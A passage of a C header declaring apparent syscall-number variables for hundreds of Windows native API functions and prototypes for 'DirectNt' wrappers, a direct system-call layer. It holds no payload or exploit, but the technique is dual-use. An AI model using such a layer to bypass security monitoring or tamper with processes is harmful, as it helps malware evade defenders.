extern DWORD dwNtDuplicateObject;
extern DWORD dwNtDuplicateToken;
extern DWORD dwNtEnableLastKnownGood;
extern DWORD dwNtEnumerateBootEntries;
extern DWORD dwNtEnumerateDriverEntries;
extern DWORD dwNtEnumerateKey;
extern DWORD dwNtEnumerateSystemEnvironmentValuesEx;
extern DWORD dwNtEnumerateTransactionObject;
extern DWORD dwNtEnumerateValueKey;
extern DWORD dwNtExtendSection;
extern DWORD dwNtFilterToken;
extern DWORD dwNtFindAtom;
extern DWORD dwNtFlushBuffersFile;
extern DWORD dwNtFlushInstallUILanguage;
extern DWORD dwNtFlushInstructionCache;
extern DWORD dwNtFlushKey;
extern DWORD dwNtFlushProcessWriteBuffers;
extern DWORD dwNtFlushVirtualMemory;
extern DWORD dwNtFlushWriteBuffer;
extern DWORD dwNtFreeUserPhysicalPages;
extern DWORD dwNtFreeVirtualMemory;
extern DWORD dwNtFreezeRegistry;
extern DWORD dwNtFreezeTransactions;
extern DWORD dwNtFsControlFile;
extern DWORD dwNtGetContextThread;
extern DWORD dwNtGetCurrentProcessorNumber;
extern DWORD dwNtGetDevicePowerState;
extern DWORD dwNtGetMUIRegistryInfo;
extern DWORD dwNtGetNextProcess;
extern DWORD dwNtGetNextThread;
extern DWORD dwNtGetNlsSectionPtr;
extern DWORD dwNtGetNotificationResourceManager;
extern DWORD dwNtGetPlugPlayEvent;
extern DWORD dwNtGetTickCount;
extern DWORD dwNtGetWriteWatch;
extern DWORD dwNtImpersonateAnonymousToken;
extern DWORD dwNtImpersonateClientOfPort;
extern DWORD dwNtImpersonateThread;
extern DWORD dwNtInitializeNlsFiles;
extern DWORD dwNtInitializeRegistry;
extern DWORD dwNtInitiatePowerAction;
extern DWORD dwNtIsProcessInJob;
extern DWORD dwNtIsSystemResumeAutomatic;
extern DWORD dwNtIsUILanguageComitted;
extern DWORD dwNtListenPort;
extern DWORD dwNtLoadDriver;
extern DWORD dwNtLoadKey2;
extern DWORD dwNtLoadKey;
extern DWORD dwNtLoadKeyEx;
extern DWORD dwNtLockFile;
extern DWORD dwNtLockProductActivationKeys;
extern DWORD dwNtLockRegistryKey;
extern DWORD dwNtLockVirtualMemory;
extern DWORD dwNtMakePermanentObject;
extern DWORD dwNtMakeTemporaryObject;
extern DWORD dwNtMapCMFModule;
extern DWORD dwNtMapUserPhysicalPages;
extern DWORD dwNtMapUserPhysicalPagesScatter;
extern DWORD dwNtMapViewOfSection;
extern DWORD dwNtModifyBootEntry;
extern DWORD dwNtModifyDriverEntry;
extern DWORD dwNtNotifyChangeDirectoryFile;
extern DWORD dwNtNotifyChangeKey;
extern DWORD dwNtNotifyChangeMultipleKeys;
extern DWORD dwNtNotifyChangeSession;
extern DWORD dwNtOpenDirectoryObject;
extern DWORD dwNtOpenEnlistment;
extern DWORD dwNtOpenEvent;
extern DWORD dwNtOpenEventPair;
extern DWORD dwNtOpenFile;
extern DWORD dwNtOpenIoCompletion;
extern DWORD dwNtOpenJobObject;
extern DWORD dwNtOpenKey;
extern DWORD dwNtOpenKeyEx;
extern DWORD dwNtOpenKeyTransacted;
extern DWORD dwNtOpenKeyTransactedEx;
extern DWORD dwNtOpenKeyedEvent;
extern DWORD dwNtOpenMutant;
extern DWORD dwNtOpenObjectAuditAlarm;
extern DWORD dwNtOpenPrivateNamespace;
extern DWORD dwNtOpenProcess;
extern DWORD dwNtOpenProcessToken;
extern DWORD dwNtOpenProcessTokenEx;
extern DWORD dwNtOpenResourceManager;
extern DWORD dwNtOpenSection;
extern DWORD dwNtOpenSemaphore;
extern DWORD dwNtOpenSession;
extern DWORD dwNtOpenSymbolicLinkObject;
extern DWORD dwNtOpenThread;
extern DWORD dwNtOpenThreadToken;
extern DWORD dwNtOpenThreadTokenEx;
extern DWORD dwNtOpenTimer;
extern DWORD dwNtOpenTransaction;
extern DWORD dwNtOpenTransactionManager;
extern DWORD dwNtPlugPlayControl;
extern DWORD dwNtPowerInformation;
extern DWORD dwNtPrePrepareComplete;
extern DWORD dwNtPrePrepareEnlistment;
extern DWORD dwNtPrepareComplete;
extern DWORD dwNtPrepareEnlistment;
extern DWORD dwNtPrivilegeCheck;
extern DWORD dwNtPrivilegeObjectAuditAlarm;
extern DWORD dwNtPrivilegedServiceAuditAlarm;
extern DWORD dwNtPropagationComplete;
extern DWORD dwNtPropagationFailed;
extern DWORD dwNtProtectVirtualMemory;
extern DWORD dwNtPulseEvent;
extern DWORD dwNtQueryAttributesFile;
extern DWORD dwNtQueryBootEntryOrder;
extern DWORD dwNtQueryBootOptions;
extern DWORD dwNtQueryDebugFilterState;
extern DWORD dwNtQueryDefaultLocale;
extern DWORD dwNtQueryDefaultUILanguage;
extern DWORD dwNtQueryDirectoryFile;
extern DWORD dwNtQueryDirectoryObject;
extern DWORD dwNtQueryDriverEntryOrder;
extern DWORD dwNtQueryEaFile;
extern DWORD dwNtQueryEvent;
extern DWORD dwNtQueryFullAttributesFile;
extern DWORD dwNtQueryInformationAtom;
extern DWORD dwNtQueryInformationEnlistment;
extern DWORD dwNtQueryInformationFile;
extern DWORD dwNtQueryInformationJobObject;
extern DWORD dwNtQueryInformationPort;
extern DWORD dwNtQueryInformationProcess;
extern DWORD dwNtQueryInformationResourceManager;
extern DWORD dwNtQueryInformationThread;
extern DWORD dwNtQueryInformationToken;
extern DWORD dwNtQueryInformationTransaction;
extern DWORD dwNtQueryInformationTransactionManager;
extern DWORD dwNtQueryInformationWorkerFactory;
extern DWORD dwNtQueryInstallUILanguage;
extern DWORD dwNtQueryIntervalProfile;
extern DWORD dwNtQueryIoCompletion;
extern DWORD dwNtQueryKey;
extern DWORD dwNtQueryLicenseValue;
extern DWORD dwNtQueryMultipleValueKey;
extern DWORD dwNtQueryMutant;
extern DWORD dwNtQueryObject;
extern DWORD dwNtQueryOpenSubKeys;
extern DWORD dwNtQueryOpenSubKeysEx;
extern DWORD dwNtQueryPerformanceCounter;
extern DWORD dwNtQueryPortInformationProcess;
extern DWORD dwNtQueryQuotaInformationFile;
extern DWORD dwNtQuerySection;
extern DWORD dwNtQuerySecurityAttributesToken;
extern DWORD dwNtQuerySecurityObject;
extern DWORD dwNtQuerySemaphore;
extern DWORD dwNtQuerySymbolicLinkObject;
extern DWORD dwNtQuerySystemEnvironmentValue;
extern DWORD dwNtQuerySystemEnvironmentValueEx;
extern DWORD dwNtQuerySystemInformation;
extern DWORD dwNtQuerySystemInformationEx;
extern DWORD dwNtQuerySystemTime;
extern DWORD dwNtQueryTimer;
extern DWORD dwNtQueryTimerResolution;
extern DWORD dwNtQueryValueKey;
extern DWORD dwNtQueryVirtualMemory;
extern DWORD dwNtQueryVolumeInformationFile;
extern DWORD dwNtQueueApcThread;
extern DWORD dwNtQueueApcThreadEx;
extern DWORD dwNtRaiseException;
extern DWORD dwNtRaiseHardError;
extern DWORD dwNtReadFile;
extern DWORD dwNtReadFileScatter;
extern DWORD dwNtReadOnlyEnlistment;
extern DWORD dwNtReadRequestData;
extern DWORD dwNtReadVirtualMemory;
extern DWORD dwNtRecoverEnlistment;
extern DWORD dwNtRecoverResourceManager;
extern DWORD dwNtRecoverTransactionManager;
extern DWORD dwNtRegisterProtocolAddressInformation;
extern DWORD dwNtRegisterThreadTerminatePort;
extern DWORD dwNtReleaseKeyedEvent;
extern DWORD dwNtReleaseMutant;
extern DWORD dwNtReleaseSemaphore;
extern DWORD dwNtReleaseWorkerFactoryWorker;
extern DWORD dwNtRemoveIoCompletion;
extern DWORD dwNtRemoveIoCompletionEx;
extern DWORD dwNtRemoveProcessDebug;
extern DWORD dwNtRenameKey;
extern DWORD dwNtRenameTransactionManager;
extern DWORD dwNtReplaceKey;
extern DWORD dwNtReplacePartitionUnit;
extern DWORD dwNtReplyPort;
extern DWORD dwNtReplyWaitReceivePort;
extern DWORD dwNtReplyWaitReceivePortEx;
extern DWORD dwNtReplyWaitReplyPort;
extern DWORD dwNtRequestPort;
extern DWORD dwNtRequestWaitReplyPort;
extern DWORD dwNtResetEvent;
extern DWORD dwNtResetWriteWatch;
extern DWORD dwNtRestoreKey;
extern DWORD dwNtResumeProcess;
extern DWORD dwNtResumeThread;
extern DWORD dwNtRollbackComplete;
extern DWORD dwNtRollbackEnlistment;
extern DWORD dwNtRollbackTransaction;
extern DWORD dwNtRollforwardTransactionManager;
extern DWORD dwNtSaveKey;
extern DWORD dwNtSaveKeyEx;
extern DWORD dwNtSaveMergedKeys;
extern DWORD dwNtSecureConnectPort;
extern DWORD dwNtSerializeBoot;
extern DWORD dwNtSetBootEntryOrder;
extern DWORD dwNtSetBootOptions;
extern DWORD dwNtSetContextThread;
extern DWORD dwNtSetDebugFilterState;
extern DWORD dwNtSetDefaultHardErrorPort;
extern DWORD dwNtSetDefaultLocale;
extern DWORD dwNtSetDefaultUILanguage;
extern DWORD dwNtSetDriverEntryOrder;
extern DWORD dwNtSetEaFile;
extern DWORD dwNtSetEvent;
extern DWORD dwNtSetEventBoostPriority;
extern DWORD dwNtSetHighEventPair;
extern DWORD dwNtSetHighWaitLowEventPair;
extern DWORD dwNtSetInformationDebugObject;
extern DWORD dwNtSetInformationEnlistment;
extern DWORD dwNtSetInformationFile;
extern DWORD dwNtSetInformationJobObject;
extern DWORD dwNtSetInformationKey;
extern DWORD dwNtSetInformationObject;
extern DWORD dwNtSetInformationProcess;
extern DWORD dwNtSetInformationResourceManager;
extern DWORD dwNtSetInformationThread;
extern DWORD dwNtSetInformationToken;
extern DWORD dwNtSetInformationTransaction;
extern DWORD dwNtSetInformationTransactionManager;
extern DWORD dwNtSetInformationWorkerFactory;
extern DWORD dwNtSetIntervalProfile;
extern DWORD dwNtSetIoCompletion;
extern DWORD dwNtSetIoCompletionEx;
extern DWORD dwNtSetLdtEntries;
extern DWORD dwNtSetLowEventPair;
extern DWORD dwNtSetLowWaitHighEventPair;
extern DWORD dwNtSetQuotaInformationFile;
extern DWORD dwNtSetSecurityObject;
extern DWORD dwNtSetSystemEnvironmentValue;
extern DWORD dwNtSetSystemEnvironmentValueEx;
extern DWORD dwNtSetSystemInformation;
extern DWORD dwNtSetSystemPowerState;
extern DWORD dwNtSetSystemTime;
extern DWORD dwNtSetThreadExecutionState;
extern DWORD dwNtSetTimer;
extern DWORD dwNtSetTimerEx;
extern DWORD dwNtSetTimerResolution;
extern DWORD dwNtSetUuidSeed;
extern DWORD dwNtSetValueKey;
extern DWORD dwNtSetVolumeInformationFile;
extern DWORD dwNtShutdownSystem;
extern DWORD dwNtShutdownWorkerFactory;
extern DWORD dwNtSignalAndWaitForSingleObject;
extern DWORD dwNtSinglePhaseReject;
extern DWORD dwNtStartProfile;
extern DWORD dwNtStopProfile;
extern DWORD dwNtSuspendProcess;
extern DWORD dwNtSuspendThread;
extern DWORD dwNtSystemDebugControl;
extern DWORD dwNtTerminateJobObject;
extern DWORD dwNtTerminateProcess;
extern DWORD dwNtTerminateThread;
extern DWORD dwNtTestAlert;
extern DWORD dwNtThawRegistry;
extern DWORD dwNtThawTransactions;
extern DWORD dwNtTraceControl;
extern DWORD dwNtTraceEvent;
extern DWORD dwNtTranslateFilePath;
extern DWORD dwNtUmsThreadYield;
extern DWORD dwNtUnloadDriver;
extern DWORD dwNtUnloadKey2;
extern DWORD dwNtUnloadKey;
extern DWORD dwNtUnloadKeyEx;
extern DWORD dwNtUnlockFile;
extern DWORD dwNtUnlockVirtualMemory;
extern DWORD dwNtUnmapViewOfSection;
extern DWORD dwNtVdmControl;
extern DWORD dwNtWaitForDebugEvent;
extern DWORD dwNtWaitForKeyedEvent;
extern DWORD dwNtWaitForMultipleObjects32;
extern DWORD dwNtWaitForMultipleObjects;
extern DWORD dwNtWaitForSingleObject;
extern DWORD dwNtWaitForWorkViaWorkerFactory;
extern DWORD dwNtWaitHighEventPair;
extern DWORD dwNtWaitLowEventPair;
extern DWORD dwNtWorkerFactoryWorkerReady;
extern DWORD dwNtWow64CallFunction64;
extern DWORD dwNtWow64CsrAllocateCaptureBuffer;
extern DWORD dwNtWow64CsrAllocateMessagePointer;
extern DWORD dwNtWow64CsrCaptureMessageBuffer;
extern DWORD dwNtWow64CsrCaptureMessageString;
extern DWORD dwNtWow64CsrClientCallServer;
extern DWORD dwNtWow64CsrClientConnectToServer;
extern DWORD dwNtWow64CsrFreeCaptureBuffer;
extern DWORD dwNtWow64CsrGetProcessId;
extern DWORD dwNtWow64CsrIdentifyAlertableThread;
extern DWORD dwNtWow64CsrVerifyRegion;
extern DWORD dwNtWow64DebuggerCall;
extern DWORD dwNtWow64GetCurrentProcessorNumberEx;
extern DWORD dwNtWow64GetNativeSystemInformation;
extern DWORD dwNtWow64InterlockedPopEntrySList;
extern DWORD dwNtWow64QueryInformationProcess64;
extern DWORD dwNtWow64QueryVirtualMemory64;
extern DWORD dwNtWow64ReadVirtualMemory64;
extern DWORD dwNtWow64WriteVirtualMemory64;
extern DWORD dwNtWriteFile;
extern DWORD dwNtWriteFileGather;
extern DWORD dwNtWriteRequestData;
extern DWORD dwNtWriteVirtualMemory;
extern DWORD dwNtYieldExecution;
NTSTATUS
NTAPI
DirectNtDelayExecution(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER DelayInterval
);
NTSTATUS
NTAPI
DirectNtQuerySystemEnvironmentValue(
IN PUNICODE_STRING VariableName,
OUT PWSTR VariableValue,
IN USHORT ValueLength,
OUT PUSHORT ReturnLength OPTIONAL
);
NTSTATUS
NTAPI
DirectNtSetSystemEnvironmentValue(
IN PUNICODE_STRING VariableName,
IN PUNICODE_STRING VariableValue
);
NTSTATUS
NTAPI
DirectNtQuerySystemEnvironmentValueEx(
IN PUNICODE_STRING VariableName,
IN LPGUID VendorGuid,
OUT OPTIONAL PVOID Value,
IN OUT PULONG ValueLength,
OUT OPTIONAL PULONG Attributes
);
NTSTATUS
NTAPI
DirectNtSetSystemEnvironmentValueEx(
IN PUNICODE_STRING VariableName,
IN LPGUID VendorGuid,
IN OPTIONAL PVOID Value,
IN ULONG ValueLength,
IN ULONG Attributes
);
NTSTATUS
NTAPI
DirectNtEnumerateSystemEnvironmentValuesEx(
IN ULONG InformationClass,
OUT PVOID Buffer,
IN OUT PULONG BufferLength
);
NTSTATUS
NTAPI
DirectNtAddBootEntry(
IN PBOOT_ENTRY BootEntry,
OUT OPTIONAL PULONG Id
);
NTSTATUS
NTAPI
DirectNtDeleteBootEntry(
IN ULONG Id
);
NTSTATUS
NTAPI
DirectNtModifyBootEntry(
IN PBOOT_ENTRY BootEntry
);
NTSTATUS
NTAPI
DirectNtEnumerateBootEntries(
OUT OPTIONAL PVOID Buffer,
IN OUT PULONG BufferLength
);
NTSTATUS
NTAPI
DirectNtQueryBootEntryOrder(
OUT OPTIONAL PULONG Ids,
IN OUT PULONG Count
);
NTSTATUS
NTAPI
DirectNtSetBootEntryOrder(
IN PULONG Ids,
IN ULONG Count
);
NTSTATUS
NTAPI
DirectNtQueryBootOptions(
OUT OPTIONAL PBOOT_OPTIONS BootOptions,
IN OUT PULONG BootOptionsLength
);
NTSTATUS
NTAPI
DirectNtSetBootOptions(
IN PBOOT_OPTIONS BootOptions,
IN ULONG FieldsToChange
);
NTSTATUS
NTAPI
DirectNtTranslateFilePath(
IN PFILE_PATH InputFilePath,
IN ULONG OutputType,
OUT OPTIONAL PFILE_PATH OutputFilePath,
IN OUT OPTIONAL PULONG OutputFilePathLength
);
NTSTATUS
NTAPI
DirectNtAddDriverEntry(
IN PEFI_DRIVER_ENTRY DriverEntry,
OUT OPTIONAL PULONG Id
);
NTSTATUS
NTAPI
DirectNtDeleteDriverEntry(
IN ULONG Id
);
NTSTATUS
NTAPI
DirectNtModifyDriverEntry(
IN PEFI_DRIVER_ENTRY DriverEntry
);
NTSTATUS
NTAPI
DirectNtEnumerateDriverEntries(
OUT PVOID Buffer,
IN OUT PULONG BufferLength
);
NTSTATUS
NTAPI
DirectNtQueryDriverEntryOrder(
OUT PULONG Ids,
IN OUT PULONG Count
);
NTSTATUS
NTAPI
DirectNtSetDriverEntryOrder(
IN PULONG Ids,
IN ULONG Count
);
NTSTATUS
NTAPI
DirectNtClearEvent(
IN HANDLE EventHandle
);
NTSTATUS
NTAPI
DirectNtCreateEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN EVENT_TYPE EventType,
IN BOOLEAN InitialState
);
NTSTATUS
NTAPI
DirectNtOpenEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtPulseEvent(
IN HANDLE EventHandle,
OUT PLONG PreviousState OPTIONAL
);
NTSTATUS
NTAPI
DirectNtQueryEvent(
IN HANDLE EventHandle,
IN EVENT_INFORMATION_CLASS EventInformationClass,
OUT PVOID EventInformation,
IN ULONG EventInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
NTSTATUS
NTAPI
DirectNtResetEvent(
IN HANDLE EventHandle,
OUT PLONG PreviousState OPTIONAL
);
NTSTATUS
NTAPI
DirectNtSetEvent(
IN HANDLE EventHandle,
OUT OPTIONAL PLONG PreviousState
);
NTSTATUS
NTAPI
DirectNtSetEventBoostPriority(
IN HANDLE EventHandle
);
NTSTATUS
NTAPI
DirectNtCreateEventPair(
OUT PHANDLE EventPairHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtOpenEventPair(
OUT PHANDLE EventPairHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtWaitLowEventPair(
IN HANDLE EventPairHandle
);
NTSTATUS
NTAPI
DirectNtWaitHighEventPair(
IN HANDLE EventPairHandle
);
NTSTATUS
NTAPI
DirectNtSetLowWaitHighEventPair(
IN HANDLE EventPairHandle
);
NTSTATUS
NTAPI
DirectNtSetHighWaitLowEventPair(
IN HANDLE EventPairHandle
);
NTSTATUS
NTAPI
DirectNtSetLowEventPair(
IN HANDLE EventPairHandle
);
NTSTATUS
NTAPI
DirectNtSetHighEventPair(
IN HANDLE EventPairHandle
);
NTSTATUS
NTAPI
DirectNtCreateMutant(
OUT PHANDLE MutantHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN BOOLEAN InitialOwner
);
NTSTATUS
NTAPI
DirectNtOpenMutant(
OUT PHANDLE MutantHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtQueryMutant(
IN HANDLE MutantHandle,
IN MUTANT_INFORMATION_CLASS MutantInformationClass,
OUT PVOID MutantInformation,
IN ULONG MutantInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtReleaseMutant(
IN HANDLE MutantHandle,
OUT OPTIONAL PLONG PreviousCount
);
NTSTATUS
NTAPI
DirectNtCreateSemaphore(
OUT PHANDLE SemaphoreHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN LONG InitialCount,
IN LONG MaximumCount
);
NTSTATUS
NTAPI
DirectNtOpenSemaphore(
OUT PHANDLE SemaphoreHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtQuerySemaphore(
IN HANDLE SemaphoreHandle,
IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass,
OUT PVOID SemaphoreInformation,
IN ULONG SemaphoreInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
NTSTATUS
NTAPI
DirectNtReleaseSemaphore(
IN HANDLE SemaphoreHandle,
IN LONG ReleaseCount,
OUT OPTIONAL PLONG PreviousCount
);
NTSTATUS
NTAPI
DirectNtCreateTimer(
OUT PHANDLE TimerHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN TIMER_TYPE TimerType
);
NTSTATUS
NTAPI
DirectNtOpenTimer(
OUT PHANDLE TimerHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtCancelTimer(
IN HANDLE TimerHandle,
OUT OPTIONAL PBOOLEAN CurrentState
);
NTSTATUS
NTAPI
DirectNtQueryTimer(
IN HANDLE TimerHandle,
IN TIMER_INFORMATION_CLASS TimerInformationClass,
OUT PVOID TimerInformation,
IN ULONG TimerInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtSetTimer(
IN HANDLE TimerHandle,
IN PLARGE_INTEGER DueTime,
IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine,
IN OPTIONAL PVOID TimerContext,
IN BOOLEAN ResumeTimer,
IN OPTIONAL LONG Period,
OUT OPTIONAL PBOOLEAN PreviousState
);
NTSTATUS
NTAPI
DirectNtQuerySystemTime(
OUT PLARGE_INTEGER SystemTime
);
NTSTATUS
NTAPI
DirectNtSetSystemTime(
IN OPTIONAL PLARGE_INTEGER SystemTime,
OUT OPTIONAL PLARGE_INTEGER PreviousTime
);
NTSTATUS
NTAPI
DirectNtQueryTimerResolution(
OUT PULONG MaximumTime,
OUT PULONG MinimumTime,
OUT PULONG CurrentTime
);
NTSTATUS
NTAPI
DirectNtSetTimerResolution(
IN ULONG DesiredTime,
IN BOOLEAN SetResolution,
OUT PULONG ActualTime
);
NTSTATUS
NTAPI
DirectNtAllocateLocallyUniqueId(
OUT PLUID Luid
);
NTSTATUS
NTAPI
DirectNtSetUuidSeed(
IN PCHAR Seed
);
NTSTATUS
NTAPI
DirectNtAllocateUuids(
OUT PULARGE_INTEGER Time,
OUT PULONG Range,
OUT PULONG Sequence,
OUT PCHAR Seed
);
NTSTATUS
NTAPI
DirectNtCreateProfile(
OUT PHANDLE ProfileHandle,
IN HANDLE Process OPTIONAL,
IN PVOID ProfileBase,
IN SIZE_T ProfileSize,
IN ULONG BucketSize,
IN PULONG Buffer,
IN ULONG BufferSize,
IN KPROFILE_SOURCE ProfileSource,
IN KAFFINITY Affinity
);
NTSTATUS
NTAPI
DirectNtStartProfile(
IN HANDLE ProfileHandle
);
NTSTATUS
NTAPI
DirectNtStopProfile(
IN HANDLE ProfileHandle
);
NTSTATUS
NTAPI
DirectNtSetIntervalProfile(
IN ULONG Interval,
IN KPROFILE_SOURCE Source
);
NTSTATUS
NTAPI
DirectNtQueryIntervalProfile(
IN KPROFILE_SOURCE ProfileSource,
OUT PULONG Interval
);
NTSTATUS
NTAPI
DirectNtQueryPerformanceCounter(
OUT PLARGE_INTEGER PerformanceCounter,
OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency
);
NTSTATUS
NTAPI
DirectNtCreateKeyedEvent(
OUT PHANDLE KeyedEventHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG Flags
);
NTSTATUS
NTAPI
DirectNtOpenKeyedEvent(
OUT PHANDLE KeyedEventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtReleaseKeyedEvent(
IN HANDLE KeyedEventHandle,
IN PVOID KeyValue,
IN BOOLEAN Alertable,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtWaitForKeyedEvent(
IN HANDLE KeyedEventHandle,
IN PVOID KeyValue,
IN BOOLEAN Alertable,
IN OPTIONAL PLARGE_INTEGER Timeout
);
NTSTATUS
NTAPI
DirectNtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT OPTIONAL PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength
);
NTSTATUS
NTAPI
DirectNtSystemDebugControl(
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtRaiseHardError(
IN NTSTATUS ErrorStatus,
IN ULONG NumberOfParameters,
IN ULONG UnicodeStringParameterMask,
IN PULONG Parameters,
IN ULONG ValidResponseOptions,
OUT PULONG Response
);
NTSTATUS
NTAPI
DirectNtQueryDefaultLocale(
IN BOOLEAN UserProfile,
OUT PLCID DefaultLocaleId
);
NTSTATUS
NTAPI
DirectNtSetDefaultLocale(
IN BOOLEAN UserProfile,
IN LCID DefaultLocaleId
);
NTSTATUS
NTAPI
DirectNtQueryInstallUILanguage(
OUT LANGID *InstallUILanguageId
);
NTSTATUS
NTAPI
DirectNtQueryDefaultUILanguage(
OUT LANGID *DefaultUILanguageId
);
NTSTATUS
NTAPI
DirectNtSetDefaultUILanguage(
IN LANGID DefaultUILanguageId
);
NTSTATUS
NTAPI
DirectNtSetDefaultHardErrorPort(
IN HANDLE DefaultHardErrorPort
);
NTSTATUS
NTAPI
DirectNtShutdownSystem(
IN SHUTDOWN_ACTION Action
);
NTSTATUS
NTAPI
DirectNtDisplayString(
IN PUNICODE_STRING String
);
NTSTATUS
NTAPI
DirectNtAddAtom(
IN PWSTR AtomName OPTIONAL,
IN OUT PRTL_ATOM Atom OPTIONAL
);
NTSTATUS
NTAPI
DirectNtFindAtom(
IN PWSTR AtomName,
OUT PRTL_ATOM Atom OPTIONAL
);
NTSTATUS
NTAPI
DirectNtDeleteAtom(
IN RTL_ATOM Atom
);
NTSTATUS
NTAPI
DirectNtQueryInformationAtom(
IN RTL_ATOM Atom,
IN ATOM_INFORMATION_CLASS AtomInformationClass,
OUT PVOID AtomInformation,
IN ULONG AtomInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtCancelIoFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock
);
NTSTATUS
NTAPI
DirectNtCreateNamedPipeFile(
OUT PHANDLE FileHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN ULONG NamedPipeType,
IN ULONG ReadMode,
IN ULONG CompletionMode,
IN ULONG MaximumInstances,
IN ULONG InboundQuota,
IN ULONG OutboundQuota,
IN OPTIONAL PLARGE_INTEGER DefaultTimeout
);
NTSTATUS
NTAPI
DirectNtCreateMailslotFile(
OUT PHANDLE FileHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG CreateOptions,
IN ULONG MailslotQuota,
IN ULONG MaximumMessageSize,
IN PLARGE_INTEGER ReadTimeout
);
NTSTATUS
NTAPI
DirectNtDeleteFile(
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtFlushBuffersFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock
);
NTSTATUS
NTAPI
DirectNtNotifyChangeDirectoryFile(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN ULONG CompletionFilter,
IN BOOLEAN WatchTree
);
NTSTATUS
NTAPI
DirectNtQueryAttributesFile(
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PFILE_BASIC_INFORMATION FileInformation
);
NTSTATUS
NTAPI
DirectNtQueryFullAttributesFile(
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation
);
NTSTATUS
NTAPI
DirectNtQueryEaFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN OPTIONAL PVOID EaList,
IN ULONG EaListLength,
IN OPTIONAL PULONG EaIndex OPTIONAL,
IN BOOLEAN RestartScan
);
NTSTATUS
NTAPI
DirectNtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN OPTIONAL PLARGE_INTEGER AllocationSize,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN OPTIONAL PVOID EaBuffer,
IN ULONG EaLength
);
NTSTATUS
NTAPI
DirectNtDeviceIoControlFile(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN OPTIONAL PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT OPTIONAL PVOID OutputBuffer,
IN ULONG OutputBufferLength
);
NTSTATUS
NTAPI
DirectNtFsControlFile(
IN HANDLE FileHandle,
IN OPTIONAL HANDLE Event,
IN OPTIONAL PIO_APC_ROUTINE ApcRoutine,
IN OPTIONAL PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
